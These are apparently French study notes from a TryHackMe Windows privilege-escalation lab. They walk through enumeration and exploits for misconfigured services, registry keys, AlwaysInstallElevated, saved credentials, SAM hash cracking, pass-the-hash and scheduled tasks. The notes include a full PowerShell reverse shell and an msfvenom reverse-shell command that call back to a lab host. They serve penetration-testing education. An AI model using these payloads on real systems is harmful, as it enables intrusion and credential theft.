Élévation de privilèges Windows

La salle préférable est https://tryhackme.com/room/windows10privesc, mais vous pouvez utiliser ce que vous voulez.
Quelques ressources,

Types de comptes sur les machines Windows :

Administrateur (local) : c'est l'utilisateur disposant du plus de privilèges.
Standard (local) : ces utilisateurs peuvent accéder à l'ordinateur mais ne peuvent effectuer que des tâches limitées. En règle générale, ils ne peuvent pas apporter de modifications permanentes ou essentielles au système.
Invité : ce compte donne accès au système mais n'est pas défini comme un utilisateur.
Standard (domaine) : Active Directory permet aux organisations de gérer les comptes d'utilisateurs. Un compte de domaine standard peut avoir des privilèges d'administrateur local.
Administrateur (domaine) : peut être considéré comme l'utilisateur le plus privilégié. Il peut modifier, créer et supprimer d'autres utilisateurs dans tout le domaine de l'organisation.
SYSTEM : Ce n'est pas véritablement un compte, mais les services Windows utilisent ce compte pour effectuer leurs tâches, et ce compte possède des privilèges encore plus élevés.

An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!

Collecte d'informations :

Une des meilleures ressources : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

whoami /priv - privilèges de l'utilisateur actuel
net users - liste tous les utilisateurs
net user <username> - liste les détails d'un utilisateur spécifique
qwinsta - autres utilisateurs connectés simultanément
net localgroup - groupes disponibles sur le système
net localgroup <group-name> - liste les membres d'un groupe spécifique
systeminfo - donne toutes les informations sur le système d'exploitation
hostname - nom d'hôte du système
findstr /si password *.txt - nous recherchons les fichiers contenant 'password', notamment dans les fichiers texte
wmic qfe get Caption,Description,HotFixID,InstalledOn - cela indique les correctifs de sécurité et les informations associées
netstat -ano - connexions associées à la machine

Windows Exploit Suggester :

C'est un outil légendaire que la plupart des gens utilisent
Nous pouvons résoudre 60 % des machines sur Internet avec cet outil
Lien : https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Il vous suffit d'avoir une copie de la sortie de l'outil systeminfo sur votre machine, et c'est la seule condition requise pour cet outil
Conseil de pro : assurez-vous que toutes les dépendances sont satisfaites !

Logiciels vulnérables :

Ici, nous allons essayer de trouver la version du logiciel installé et vérifier si elle est vulnérable ou non.
wmic product get name,version,vendor - cela donne le nom du produit, la version et le fournisseur. Cette commande particulière donne une bonne visualisation de ce dont nous avons besoin.
Parfois, la commande ci-dessus peut ne pas fonctionner, alors utilisez wmic service list brief | findstr "Running" et pour obtenir plus d'informations sur le service, utilisez sc qc <ServiceName>

Élévation de privilèges via Metasploit :

Après avoir obtenu une session dans Metasploit, exécutez un module nommé post/multi/recon/local_exploit_suggester, assurez-vous que votre session est en arrière-plan pour que cet outil fonctionne correctement, ou vous pouvez simplement le charger depuis meterpreter.
Ensuite, il suggérera quelques modules exploitables, essayez-les et certains pourraient fonctionner (facultatif).

WinPEAS :

C'est un script d'énumération automatisé qui est assez utile.
Pour une utilisation optimale, recherchez toutes les options en exécutant winpeas.exe --help
Exécutez uniquement les options requises et ajustez la sortie.

Exploitation du noyau :

Utilisez cet outil particulier appelé Windows Exploit Suggester
Tout d'abord, obtenez les informations du système en exécutant la commande systeminfo et copiez-les dans un fichier nommé avec l'extension .txt
Maintenant, exécutez l'outil en utilisant la base de données
Ici, recherchez les exploits liés au noyau.
Bon hacking !!

Exploits de services :

Permissions de service non sécurisées :

Ici, nous allons essayer d'identifier les services avec des permissions non sécurisées, puis nous pourrons tenter de les exploiter.
Ici, nous pouvons utiliser la commande winpeas.exe servicesinfo et nous pouvons voir les services qui sont assez utiles
Une partie intéressante de la sortie est la suivante :```

daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

Mais pour obtenir plus d'informations, nous pouvons utiliser un outil appelé **accesschk**, qui est un outil de Microsoft, et l'exécuter comme suit `accesschk.exe /accepteula -uwcqv <current-user> <service>`, la sortie est,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

Mais la partie principale est service_change_config où nous pouvons modifier la configuration du service.
Exécutez sc qc <service> puis notez le Binary_path_name(qui peut aussi être appelé binpath), que nous allons modifier (sourire maléfique)
Créez maintenant un payload de type shell et transférez-le sur la machine cible
Syntaxe pour modifier la configuration : sc config <service> <option>="<value>"
Maintenant, sc config daclsvc binpath="<path>" puis démarrez le service sc start daclsvc

Chemin de service non entre guillemets : (USP)

Pour les services, le chemin doit être entre guillemets ; s'il n'est pas encadré ainsi, nous pouvons exploiter cette faille et obtenir des privilèges élevés.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

- Pour obtenir plus d'informations, utilisez simplement le script **WinPEAS** avec l'option `servicesinfo` ; ici, nous pouvons voir des informations pour savoir si nous pouvons exploiter un éventuel **Unquoted Service Path**. J'ai exécuté l'outil et la partie intéressante de la sortie ressemble à ceci :```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected

La sortie spécifie clairement que No quotes and Space Detected donc nous pouvons conclure que nous pouvons exploiter ce service particulier en utilisant USP
Et pour obtenir plus d'informations concernant le service, utilisez sc qc <service>
Maintenant vérifions la permission pour cet emplacement particulier C:\Program Files\Unquoted Path Service en utilisant accesschk, donc exécutez accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service". Sortie :``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators

- Nous avons la permission de lecture et d'écriture.
- Maintenant, nous allons créer un payload et le coller dans `C:\Program Files\Unquoted Path Service`, via `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`, ici je le nomme avec un nom différent qui présente aussi un avantage en termes d'ordre alphabétique.
- Maintenant, démarrons le service, `sc start unquotedsvc`, nous sommes admin !!!

-----------------------
### Faibles permissions du registre :
- Ici, nous allons essayer d'exploiter les services avec des permissions de registre faibles.
- Pour chercher, nous devons utiliser `Winpeas` avec l'option `servicesinfo`. La sortie ressemble à ceci.```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

Maintenant, nous passons au nom du service qui est regsvc, donc creusons plus en profondeur ce service, alors exécutez sc qc regsvc et la sortie est,``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

- Un fait intéressant est que le chemin est entre guillemets, donc pas de **Unquoted Service Path**.
- Maintenant, exécutons `accesschk.exe` et creusons, donc lancez `accesschk /acceptula -uvwqk <path of registry>`(qui est `HKLM\system\currentcontrolset\services\regsvc`)
- cherchez `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)` dans la sortie et nous sommes maintenant prêts à exploiter.
- Maintenant, voyons les options dans le registre en utilisant `reg query HKLM\system\currentcontrolset\services\regsvc` et j'ai trouvé une option appelée `ImagePath` qui prend une valeur exécutable, alors exploitons-la. Tout d'abord, créez un reverse-shell.
- Maintenant, exécutez `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`, choisissez le chemin du payload selon vos besoins.
- Maintenant, démarrez le service, `net start regsvc` et hourra ! J'ai obtenu le shell.

-----------------------
### Exécutables de service non sécurisés :
- Ici, les permissions de fichiers d'un service sont accessibles à tous ! On essaie de changer l'exécutable du service et le tour est joué !
- Lançons **Winpeas** spécifiquement avec le module **servicesinfo** et voyons si quelque chose d'intéressant apparaît, et la sortie est,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

Tout le monde a accès au fichier du service filepermsvc, nous allons donc créer un payload reverse_shell et remplacer l'exécutable du service par celui-ci, et nous obtiendrons un shell.
C'est plutôt facile par rapport à ce qui précède.

Registre

Ici, nous utilisons le Registre pour obtenir des informations et nous essaierons d'exploiter !
Nous vérifions simplement les fonctionnalités que nous pouvons abuser

Autoruns:

Autoruns est une fonctionnalité de Windows permettant de démarrer certains services ou applications au démarrage, par exemple "greenshot"
Nous pouvons les vérifier manuellement en exécutant reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - cela affichera les programmes de démarrage automatique et leurs chemins.
La sortie est,``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"

- Nous avons 2 programmes avec un chemin, alors testons.
- Maintenant, nous allons exécuter **accesscheck** pour vérifier quelles permissions sont disponibles sur le chemin de fichier de ces autoruns.
- Exécutez simplement `accesschk.exe \accepteula -wvu "<path>"`, je l'ai exécuté pour le chemin de l'autorun **My Program** et la sortie indiquait `FILE_ALL_ACCESS`, donc nous pouvons littéralement tout faire dans ce dossier. Principalement, nous pouvons remplacer l'exécutable d'origine, redémarrer le système et obtenir un shell.
- Maintenant, nous devons attendre que l'administrateur se connecte et nous obtiendrons le shell en tant qu'utilisateur privilégié !
- Le problème ici est que nous devons attendre que l'administrateur/propriétaire se connecte, sinon c'est bon pour nous !

------------------------------
### AlwaysInstallElevated
- Il permet à un utilisateur standard d'installer des **msi** (Microsoft Installer) avec des privilèges administratifs.
- C'est cool et facile pour obtenir des privilèges plus élevés,
- Nous pouvons le vérifier en exécutant,
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` et
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- Exécutez ces deux commandes et la valeur de **AlwaysInstallElevated** doit être 1 ou 0x1. Ainsi, nous pouvons confirmer et continuer.
- Maintenant, créez un reverse-shell au format **msi** pour référence, vérifiez la commande ci-dessous,
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- Maintenant, transférez-le sur la machine Windows et exécutez la commande,
`msiexec /quiet /qn /i reverse.msi`
- Hourra ! nous avons obtenu le shell en tant que `nt authority\system`

------------------
-------------------
## Passwords:
- Ici, nous recherchons des identifiants dans le registre, les fichiers, etc.
- Et nous essaierons de nous connecter !

----------------------
### Looking for passwords in Registry:
- Nous pouvons rechercher des mots de passe dans le registre, parfois nous pouvons trouver les mots de passe d'autres utilisateurs ou même ceux du propriétaire.
- Exécutez `reg query HKLM /f password /t REG_SZ /s`, cela donne tous les détails du registre contenant la chaîne **password**, cherchez et vous pourriez la trouver ! Mais la partie triste est que je n'ai pas réussi à en obtenir !
- Exécutez aussi `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`, nous pourrions trouver des informations.
- Nous pouvons aussi utiliser notre outil légendaire **winPEAS** avec des options comme `windowscreds` - recherche d'identifiants, et aussi `filesinfo` - examine les fichiers et le registre pour des données utiles (parfois des mots de passe aussi)
- Après avoir obtenu le mot de passe ici, c'est `password123`, alors connectons-nous avec l'aide de **psexec** (lien : https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py) et la syntaxe est `python3 psexec.py [email protected]`, puis il demandera le mot de passe, indiquez-le et nous aurons un accès comme admin !

-------------------------
### Passwords : Savedcreds
- Tout d'abord, exécutez `cmdkey /list`, ici **cmdkey** est une application windows-server qui *crée, liste et supprime les noms d'utilisateur, mots de passe ou identifiants stockés*. En l'exécutant, nous pouvons voir tous les identifiants des utilisateurs enregistrés !
- La sortie est,```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin

Nous pouvons voir l'utilisateur admin, alors utilisons l'utilitaire runas. Il permet à un utilisateur d'exécuter des outils et des programmes spécifiques avec des autorisations différentes de celles fournies par la connexion actuelle de l'utilisateur.
Exécutons runas /savecred /user:admin C:\Temp\reverse.exe, cela nous donnera les privilèges admin

Mots de passe : SAM(Security Accounts manager)

SAM contient les hashs NTLM des mots de passe Windows. Nous avons une chance de les craquer, mais cela n'est pas toujours utile car nous avons affaire à des hashs !
Mais connaître la méthode aide certainement.
Et 99 % du temps, le fichier SAM n'est pas accessible avec des privilèges normaux, mais ici, dans la machine, l'auteur a créé une copie du fichier SAM dans le répertoire C:\Windows\Repair, pour que nous puissions jouer ! Dans ce répertoire, il y a 2 fichiers, à savoir SAM et SYSTEM
Nous devons obtenir les deux fichiers afin de pouvoir les utiliser avec un outil nommé creddump7(https://github.com/CiscoCXSecurity/creddump7). Je les ai obtenus grâce à la commande download de meterpreter
Maintenant, après le clonage, exécutez la commande suivante python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM. Elle affichera les hashs des utilisateurs disponibles sur la machine Windows. La sortie est :``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::

- Enregistrez maintenant le contenu ci-dessus dans un fichier texte, puis craquez-le à l'aide de **JohnTheRipper**, la syntaxe est `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`, et ça a craqué !```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)

Password: Pass the hash attack

Supposons que nous ne soyons pas capables de casser le hash car il n'est pas dans la wordlist, alors nous pouvons utiliser cette attaque Pass the hash, qui nous permet de nous authentifier grâce au hash !
Donc récupérons le hash, ici connectons-nous en tant qu'admin dont le hash est a9fdfa038c4b75ebc76dc855dd74f0da
D'abord exporter, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da ici nous utilisons le hash avec le groupid également
Puis exécuter pth-winexe -U admin% //10.10.213.97 cmd.exe, j'ai obtenu un shell en tant qu'admin
L'outil pth-winexe est déjà disponible sous kali.
En cas de blocage, consultez ceci : https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html

Exploiter les tâches planifiées :

Comme sous Linux, il existe également des tâches planifiées sous Windows.
Pour afficher toutes les tâches planifiées, exécutez schtasks /query /fo LIST /V
Ici CleanUp.ps1 semble intéressant et le chemin est C:\DevTools\CleanUp.ps1
Voyons donc ce que nous pouvons faire à cet emplacement ainsi qu'à ce fichier, accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 et nous avons tous les privilèges pour lire, écrire... etc
Le processus dans la description de la tâche est un peu différent, donc j'ai cherché un powershell-reverseshell, qui est,``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

- Ensuite, j'ai transféré et renommé en `CleanUp.ps1` et j'ai obtenu la connexion.

--------------------
---------------------
## Applications GUI non sécurisées :
- Après avoir obtenu la connexion RDP, ouvrez `Taskmanager` et, dans l'onglet `Details`, nous pouvons voir les applications et l'utilisateur qui les exécute.
- Ici, ils ont intentionnellement configuré `mspaint.exe` pour qu'il s'exécute en tant qu'admin, ce sera donc notre cible.
- Comme nous travaillons avec **Paint**, nous aurons une option pour ouvrir des fichiers, nous ouvrirons donc `file://c:/windows/system32/cmd.exe` et boum ! Nous obtenons le shell en tant qu'utilisateur **admin** !
- Ici, la fonctionnalité est un peu limitée car nous n'obtenons pas toujours une connexion RDP.

-----------------------
----------------------
## Applications de démarrage :
- Windows dispose d'une fonctionnalité permettant à certaines applications de s'exécuter au démarrage, nous pouvons abuser de cette fonctionnalité.
- Les applications de démarrage se trouvent dans `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`, c'est le chemin par défaut.
- Vérifions ce que nous pouvons faire via **accesschk.exe**, exécutez donc `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`. La sortie est,```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone

Ici, il y a un script appelé CreateShortcut.vbs qui s'exécute avec des privilèges administrateur et dont l'objectif principal est de créer un shortcut pour le reverse-shell que nous avons téléversé.
Transférez le payload et exécutez le script, maintenant nous devons attendre que l'administrateur se connecte et ensuite nous obtiendrons le shell.
Cela reste rare et les chances d'exploitation par ce biais sont faibles.

Token Impersonation:

Les jetons sont comme des cookies pour l'ordinateur, l'avantage est que nous n'avons pas besoin de mentionner les identifiants à chaque fois pour nous connecter à un réseau... etc.
Il existe 2 types de jetons,

Delegate token : créé pour se connecter à une machine ou utiliser un RDP
Impersonate token : non interactif, utilisé pour attacher un lecteur réseau ou un script de connexion de domaine.

Nous pouvons voir tous les jetons en exécutant list_tokens -u dans une session meterpreter, puis après avoir trouvé un jeton intéressant, exécuter impersonate_token <name of token>
Nous pouvons aussi exécuter whomai /priv et voir les privilèges de l'utilisateur courant ; si nous y trouvons un privilège comme SeAssignPrimaryToken... etc, qui sont plutôt dangereux, c'est très dangereux ! Pour en savoir plus sur ces privilèges et comment les exploiter, consultez cet article : https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Potato Attacks:

Guide pour ces attaques : https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
Et le payload que nous pouvons utiliser est : https://github.com/ohpe/juicy-potato
Ici, nous essayons d'obtenir un accès de type NT Authority/System [En cours.....]

Populaires

Windows-Privilege-Escalation-Notes